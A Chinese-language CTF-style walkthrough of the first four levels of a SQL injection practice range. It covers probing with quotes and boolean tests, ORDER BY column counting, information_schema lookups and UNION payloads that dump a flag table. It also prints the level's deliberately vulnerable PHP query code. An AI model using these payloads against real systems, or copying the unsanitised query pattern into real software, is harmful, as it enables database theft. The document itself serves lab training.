0x00 Rank 1
首先打开靶场页面,通过get传参,进行注入。这里直接就可以看到sql的查询语句。比较简单,咱们先假装不知道!!!

首先尝试加一个单引号测试一下

可以看到没有结果,猜测可能存在sql注入漏洞
进行类型判断
and 1=1
判断

回显正常,

查询失败,判断是数字型注入
接下来order by
判断一下列字段数


判断有3列,因为每次id值不同,对应的值也不同,可以使用union联合查询注入,当然也可以使用其他注入方式
UNION联合注入

可见回显位是2,3
开始构造语句,因为是第一关,所以写的详细一点!
首先了解一下mysql自带的information_schema表
information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。其实information_schema是一个虚拟数据库,本地并不存在,库中的表也实际上是视图。

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS |
| COLUMN_PRIVILEGES |
| COLUMN_STATISTICS |
| COLUMNS |
| ENGINES |
| EVENTS |
| FILES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CACHED_INDEXES |
| INNODB_CMP |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_COLUMNS |
| INNODB_DATAFILES |
| INNODB_FIELDS |
| INNODB_FOREIGN |
| INNODB_FOREIGN_COLS |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_INDEXES |
| INNODB_METRICS |
| INNODB_TABLES |
| INNODB_TABLESPACES |
| INNODB_TABLESPACES_BRIEF |
| INNODB_TABLESTATS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_TRX |
| INNODB_VIRTUAL |
| KEY_COLUMN_USAGE |
| KEYWORDS |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| RESOURCE_GROUPS |
| ROUTINES |
| SCHEMA_PRIVILEGES |
| SCHEMATA |
| ST_GEOMETRY_COLUMNS |
| ST_SPATIAL_REFERENCE_SYSTEMS |
| STATISTICS |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLES |
| TABLESPACES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
这里我只解释几个常用的表,如果之后遇到其他的表可以直接使用搜索引擎
- SCHEMATA(schemata表提供了当前mysql实例中所有数据库的信息) 该表下有schema_name等字段
- TABLES( tables表提供了关于数据库中的表的信息(包括视图) 该表下有table_schema,table_name,table_type等字段
- COLUMNS( columns表提供了表中的列信息。) 该表下有column_name,table_name,schema_name,data_type,column_type等字段
- STATISTICS(提供了关于表索引的信息。)
- USER_PRIVILEGES((用户权限)表给出了关于全程权限的信息。)
了解完基本表,开始构造语句
基本信息查询
- version()——MySQL版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本

查出
- version() 5.7.33
- user() nf2019@10.42.231.137
- database() error
- @@datadir /var/lib/mysql/
- @@version_compile_os Linux
查数据库,当然已经知道了用户信息存储在error数据库中

查error库中的表

查看error_flag表中字段

存在flag字段,爆字段!

得到flag。
核心代码分析
$username = '';
$password = '';
@$id = $_GET['id']; // 从get传参获取id值
@$sql = 'select *from user where id='.$id; // 查询语句
mysqli_select_db($conn,'****');// 不想让你们知道库名 数据库连接语句
$result = mysqli_query($conn,$sql); // 执行数据库查询语句,即$sql
while ($row = mysqli_fetch_array($result)){ // 判断是否查询到数据
$username = $row['username']; // 变量赋值
$password = $row['password'];
}
// 输出用户信息
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
0x01 Rank 2
第二关,依然是字符型注入,闭合方式为单引号
还是假装不知道!尝试寻找注入点
单引号尝试,没查询结果

猜测存在sql注入,尝试判断类型
and 1=1
,回显正常

and 1=2
,还是一样的结果

尝试'and '1'='1

'and '1'='2

显示查询没结果,故应该为单引号闭合的字符型注入
加注释,构造语句,与第一关做法相同
order by 判断仍然是3列

回显位还是2,3

直接爆数据
0x02 Rank 3
第三关仍然是字符型,闭合方式为('id')
?id=1') union select 1,group_concat(flag),3 from error_flag--+

0x03 Rank 4
第四关也是字符型,闭合方式为("id")
?id=1") union select 1,group_concat(flag),3 from error_flag--+

Comments NOTHING